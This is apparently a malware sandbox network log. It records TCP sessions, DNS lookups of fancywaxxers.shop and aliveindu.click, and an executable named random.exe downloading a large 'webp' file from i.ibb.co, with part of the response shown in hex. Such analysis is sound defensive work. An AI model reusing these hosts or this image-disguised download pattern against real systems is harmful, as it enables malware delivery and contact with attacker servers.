Dec 30, 2024 16:18:23.630556107 CET	57966	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:23.630568027 CET	443	57966	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:24.111092091 CET	443	57966	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:24.111191034 CET	57966	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:24.112802982 CET	57966	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:24.112809896 CET	443	57966	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:24.113168955 CET	443	57966	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:24.134196043 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:24.134293079 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:24.134340048 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:24.152678967 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:24.152697086 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:24.160233021 CET	57966	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:24.164989948 CET	57966	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:24.165019035 CET	57966	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:24.165115118 CET	443	57966	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:24.166018963 CET	57967	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:24.166053057 CET	443	57967	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:24.166115999 CET	57967	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:24.166409016 CET	57967	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:24.166423082 CET	443	57967	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:24.570370913 CET	443	57966	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:24.570530891 CET	443	57966	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:24.570584059 CET	57966	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:24.570816994 CET	57966	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:24.570832014 CET	443	57966	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:24.570842028 CET	57966	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:24.570847034 CET	443	57966	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:24.578648090 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:24.578687906 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:24.578767061 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:24.579042912 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:24.579056025 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:24.619019032 CET	443	57967	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:24.619096041 CET	57967	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:24.620243073 CET	57967	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:24.620255947 CET	443	57967	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:24.620460033 CET	443	57967	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:24.621632099 CET	57967	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:24.621721029 CET	57967	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:24.621745110 CET	443	57967	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:25.061484098 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.061552048 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.063057899 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.063065052 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.063703060 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.065799952 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.065861940 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.066740036 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.092012882 CET	443	57967	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:25.092092037 CET	443	57967	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:25.092871904 CET	57967	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:25.093099117 CET	57967	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:25.093116045 CET	443	57967	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:25.538738966 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.538779974 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.538815022 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.538845062 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.538846016 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.538871050 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.538886070 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.539500952 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.539535999 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.539587975 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.539597034 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.539937973 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.539983988 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.539990902 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.540029049 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.543350935 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.597727060 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.597740889 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.629614115 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.629653931 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.629683971 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.629719019 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.629733086 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.629757881 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.629801989 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.633429050 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.637682915 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.637697935 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.637718916 CET	57968	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.637723923 CET	443	57968	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.746769905 CET	57969	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.746818066 CET	443	57969	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:25.749469042 CET	57969	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.749728918 CET	57969	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:25.749744892 CET	443	57969	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:26.207077980 CET	443	57969	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:26.207168102 CET	57969	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:26.208619118 CET	57969	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:26.208630085 CET	443	57969	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:26.208833933 CET	443	57969	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:26.209903955 CET	57969	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:26.210014105 CET	57969	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:26.210043907 CET	443	57969	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:26.786866903 CET	443	57969	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:26.786952972 CET	443	57969	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:26.787183046 CET	57969	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:26.787183046 CET	57969	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:26.801644087 CET	57970	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:26.801686049 CET	443	57970	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:26.801784039 CET	57970	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:26.802088022 CET	57970	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:26.802095890 CET	443	57970	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:27.097748041 CET	57969	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:27.097776890 CET	443	57969	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:27.282340050 CET	443	57970	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:27.282634020 CET	57970	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:27.283791065 CET	57970	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:27.283801079 CET	443	57970	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:27.284015894 CET	443	57970	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:27.285212040 CET	57970	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:27.285377026 CET	57970	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:27.285406113 CET	443	57970	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:27.285469055 CET	57970	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:27.331329107 CET	443	57970	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:27.790668964 CET	443	57970	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:27.790751934 CET	443	57970	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:27.790823936 CET	57970	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:27.791032076 CET	57970	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:27.791045904 CET	443	57970	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:27.855462074 CET	57971	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:27.855515957 CET	443	57971	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:27.855597019 CET	57971	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:27.855890036 CET	57971	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:27.855907917 CET	443	57971	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:28.333575964 CET	443	57971	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:28.333667040 CET	57971	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:28.336009979 CET	57971	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:28.336019993 CET	443	57971	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:28.336236000 CET	443	57971	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:28.337274075 CET	57971	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:28.337400913 CET	57971	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:28.337431908 CET	443	57971	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:28.337486982 CET	57971	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:28.337495089 CET	443	57971	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:28.943358898 CET	443	57971	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:28.943439960 CET	443	57971	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:28.943547010 CET	57971	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:28.943669081 CET	57971	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:28.943686962 CET	443	57971	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:29.027704954 CET	57972	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:29.027782917 CET	443	57972	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:29.029442072 CET	57972	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:29.029742002 CET	57972	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:29.029759884 CET	443	57972	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:29.489141941 CET	443	57972	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:29.489247084 CET	57972	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:29.490550041 CET	57972	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:29.490560055 CET	443	57972	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:29.490762949 CET	443	57972	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:29.491965055 CET	57972	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:29.492063046 CET	57972	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:29.492069006 CET	443	57972	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.079732895 CET	443	57972	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.079808950 CET	443	57972	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.079883099 CET	57972	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.079993010 CET	57972	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.080034971 CET	443	57972	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.343317986 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.343353987 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.343424082 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.343746901 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.343760967 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.800668001 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.800841093 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.802265882 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.802272081 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.802470922 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.803575993 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.804220915 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.804251909 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.804373026 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.804397106 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.804727077 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.804759979 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.804938078 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.804965973 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.805155993 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.805190086 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.805347919 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.805375099 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.805391073 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.805406094 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.805562019 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.805588961 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.805613995 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.805753946 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.805783987 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.814282894 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.814495087 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.814522982 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:30.814544916 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.814579964 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.814649105 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:30.819530010 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:32.839438915 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:32.839533091 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:32.839586973 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:32.839740992 CET	57973	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:32.839752913 CET	443	57973	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:32.845088959 CET	57974	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:32.845150948 CET	443	57974	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:32.845228910 CET	57974	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:32.845622063 CET	57974	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:32.845638990 CET	443	57974	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:33.311139107 CET	443	57974	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:33.311211109 CET	57974	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:33.312386036 CET	57974	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:33.312412024 CET	443	57974	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:33.312618017 CET	443	57974	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:33.313772917 CET	57974	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:33.313805103 CET	57974	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:33.313836098 CET	443	57974	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:33.910348892 CET	443	57974	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:33.910428047 CET	443	57974	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:33.910489082 CET	57974	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:33.910753965 CET	57974	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:33.910787106 CET	443	57974	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:33.910804987 CET	57974	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:33.910813093 CET	443	57974	104.21.64.143	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 16:16:55.052845955 CET	51462	53	192.168.2.5	1.1.1.1
Dec 30, 2024 16:16:55.059964895 CET	53	51462	1.1.1.1	192.168.2.5
Dec 30, 2024 16:17:14.463830948 CET	53	54937	1.1.1.1	192.168.2.5
Dec 30, 2024 16:18:15.464417934 CET	54910	53	192.168.2.5	1.1.1.1
Dec 30, 2024 16:18:15.478163004 CET	53	54910	1.1.1.1	192.168.2.5
Dec 30, 2024 16:18:23.612123966 CET	60062	53	192.168.2.5	1.1.1.1
Dec 30, 2024 16:18:23.623959064 CET	53	60062	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 16:16:55.052845955 CET	192.168.2.5	1.1.1.1	0x6180	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Dec 30, 2024 16:18:15.464417934 CET	192.168.2.5	1.1.1.1	0x8744	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false
Dec 30, 2024 16:18:23.612123966 CET	192.168.2.5	1.1.1.1	0xe6	Standard query (0)	aliveindu.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 16:16:55.059964895 CET	1.1.1.1	192.168.2.5	0x6180	No error (0)	i.ibb.co	169.197.85.95	A (IP address)	IN (0x0001)	false
Dec 30, 2024 16:18:15.478163004 CET	1.1.1.1	192.168.2.5	0x8744	No error (0)	fancywaxxers.shop	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 16:18:15.478163004 CET	1.1.1.1	192.168.2.5	0x8744	No error (0)	fancywaxxers.shop	104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 16:18:15.478163004 CET	1.1.1.1	192.168.2.5	0x8744	No error (0)	fancywaxxers.shop	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 16:18:15.478163004 CET	1.1.1.1	192.168.2.5	0x8744	No error (0)	fancywaxxers.shop	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 16:18:15.478163004 CET	1.1.1.1	192.168.2.5	0x8744	No error (0)	fancywaxxers.shop	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 16:18:15.478163004 CET	1.1.1.1	192.168.2.5	0x8744	No error (0)	fancywaxxers.shop	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 16:18:15.478163004 CET	1.1.1.1	192.168.2.5	0x8744	No error (0)	fancywaxxers.shop	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 16:18:23.623959064 CET	1.1.1.1	192.168.2.5	0xe6	No error (0)	aliveindu.click	104.21.64.143	A (IP address)	IN (0x0001)	false
Dec 30, 2024 16:18:23.623959064 CET	1.1.1.1	192.168.2.5	0xe6	No error (0)	aliveindu.click	172.67.151.146	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

i.ibb.co

fancywaxxers.shop

aliveindu.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	169.197.85.95	443	5948	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:16:55 UTC	85	OUT	GET /xLJXQ55/mamasafa-Final.webp HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive
2024-12-30 15:16:55 UTC	382	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Dec 2024 15:16:55 GMT Content-Type: image/webp Content-Length: 3722252 Connection: close Last-Modified: Sun, 29 Dec 2024 02:41:53 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-12-30 15:16:55 UTC	3714	IN	Data Raw: 52 49 46 46 30 92 01 00 57 45 42 50 56 50 38 58 0a 00 00 00 28 00 00 00 3f 06 00 3f 06 00 49 43 43 50 a8 01 00 00 00 00 01 a8 6c 63 6d 73 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 dc 00 01 00 19 00 03 00 29 00 39 61 63 73 70 41 50 50 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 6c 63 6d 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 5f 63 70 72 74 00 00 01 4c 00 00 00 0c 77 74 70 74 00 00 01 58 00 00 00 14 72 58 59 5a 00 00 01 6c 00 00 00 14 67 58 59 5a 00 00 01 80 00 00 00 14 62 58 59 5a 00 00 01 94 00 00 00 14 72 54 52 43 00 00 01 0c 00 00 00 40 67 Data Ascii: RIFF0WEBPVP8X(??ICCPlcmsmntrRGB XYZ )9acspAPPL-lcmsdesc_cprtLwtptXrXYZlgXYZbXYZrTRC@g
2024-12-30 15:16:55 UTC	4096	IN	Data Raw: b3 f8 54 f4 b9 84 05 b8 d3 4d 39 ae f0 b1 dd 89 69 c7 bf 66 93 85 02 3e c0 82 97 9b 69 9b 36 6f a6 d1 cb aa 72 29 5f 4e 2c 29 79 0c 6b 4a ac 37 87 d6 b4 5c aa a5 a9 54 91 bb de 00 8c d8 a0 aa 6f d0 ad ef 1d 40 40 ff 68 1c 80 88 ab 69 ec 42 8f bf e4 43 b0 ec a1 34 81 84 9d bb cb 70 3f a2 b7 1d 84 c1 d9 34 5a 83 4f bc 68 6d f6 05 08 cc 98 5a 82 8c 0a 56 8e 11 fa ca 40 5d ae d8 c7 77 58 84 0f 12 b9 50 9a c3 f1 cd 1b 53 8a 51 ed 0d 6d c2 d7 5b 01 86 23 6c 74 e9 1c 0c bd 32 e5 1c 72 29 65 89 95 7d 01 ac fd ad 11 27 84 1f 58 50 27 88 01 04 18 7b 85 dd 6f f5 3f bf 16 b2 36 bb f1 c2 35 98 0c 0f e2 a7 b5 dc 99 73 a0 1f d0 c0 ba f4 7d 8a d8 54 dd 2f 81 1d 39 90 4f 1e 44 aa c1 97 9d 9b 3a 0f f3 82 72 c8 bb 41 25 d6 f4 9b 78 ca 38 6b 17 01 80 47 47 28 64 2f f7 03 9d Data Ascii: TM9if>i6or)_N,)ykJ7\To@@hiBC4p?4ZOhmZV@]wXPSQm[#lt2r)e}'XP'{o?65s}T/9OD:rA%x8kGG(d/
2024-12-30 15:16:55 UTC	4096	IN	Data Raw: 3a 74 48 9e 64 98 45 24 88 32 c5 1c c5 6b 30 e3 db 01 64 c1 90 f6 24 b7 1a 41 2e 58 ca c7 e9 d3 04 b3 73 9a 38 72 c4 61 08 cd 34 c4 78 f8 39 36 9d 4e 0f c3 ea 8f c6 ef fe 51 f2 7b dc 84 b8 be ba 09 21 0c 0c 6a 09 8d aa f6 d6 db 12 57 55 ce 20 e6 fc 7b cf 04 66 f2 b8 b4 e2 db 1f 46 d2 2c d7 ea a3 e5 25 84 be 1a e4 9e 98 68 a3 9c b6 6b 18 11 9b 74 84 c2 6b af 54 eb 38 84 ac 32 18 f0 11 b7 4e f1 48 b0 0e 9c bc c9 17 e3 44 24 e7 a0 29 c3 0d 02 37 f6 d1 5d df dd 5e 12 2a 22 68 42 5b 3c 18 68 3a 26 44 69 5d 08 4e f1 bd 5b 16 ad e3 7e 00 74 e5 9a 76 fe ab 26 c0 7e b0 c3 54 34 05 4b d5 02 49 52 b8 f4 b8 6d bd 4d f5 0f 7d ec d8 ea 12 27 ce e5 a4 24 86 a8 38 13 1e 44 72 7d 32 a6 10 c8 2e f2 57 71 e5 02 29 1c 62 cf a2 56 1d fa f3 a0 97 81 54 d2 d1 73 29 3e ee cb ec Data Ascii: :tHdE$2k0d$A.Xs8ra4x96NQ{!jWU {fF,%hktkT82NHD$)7]^*"hB[<h:&Di]N[~tv&~T4KIRmM}'$8Dr}2.Wq)bVTs)>
2024-12-30 15:16:55 UTC	4096	IN	Data Raw: e8 65 e0 17 2a 01 a5 b3 f6 42 f7 49 d7 6d 1d aa 6a 9d be f8 a2 76 7b 28 fc 3b 94 08 97 fa 52 7c b7 05 63 ac a4 d0 63 7a 0a fe e7 86 dc 4d 9f 0b 11 3c fc 80 f2 bc 44 1a f0 eb 0f 37 92 02 58 1f a7 c6 ab 3c d0 06 7d ec 02 aa d4 7e 9b 60 3d f6 28 30 22 5b a4 76 07 ae 98 54 70 1d f1 0a e7 59 8f b9 2d 45 0e 03 05 6b 56 04 22 b2 7e 3d 58 78 a5 01 84 9b b8 b3 b7 41 9c cb 7f e0 bd 55 03 0c 62 48 96 f0 a3 86 8f e5 9e 70 96 82 f4 1d d6 ba 69 a1 0b f5 e3 be 42 07 3c 9b 45 35 fe 57 f1 d2 83 ba d5 0d 14 29 b9 ba 35 60 90 cf e2 f2 70 eb c7 f5 0c fb 8c 9d 9b 12 24 c4 a3 df fa 1a e1 f1 6b 4c 9e c0 c7 c6 c4 91 f0 7c 64 53 5a 88 ca d5 e9 c2 95 5a 39 e8 02 df c2 88 71 38 7f 7b 28 ad ff e3 3c cf 9f f3 10 d1 8b 32 05 bf 3b 4a f1 64 6d fa 66 e3 c5 25 49 25 dc 69 43 4c f6 66 22 Data Ascii: e*BImjv{(;R\|cczM<D7X<}~`=(0"[vTpY-EkV"~=XxAUbHpiB<E5W)5`p$kL\|dSZZ9q8{(<2;Jdmf%I%iCLf"
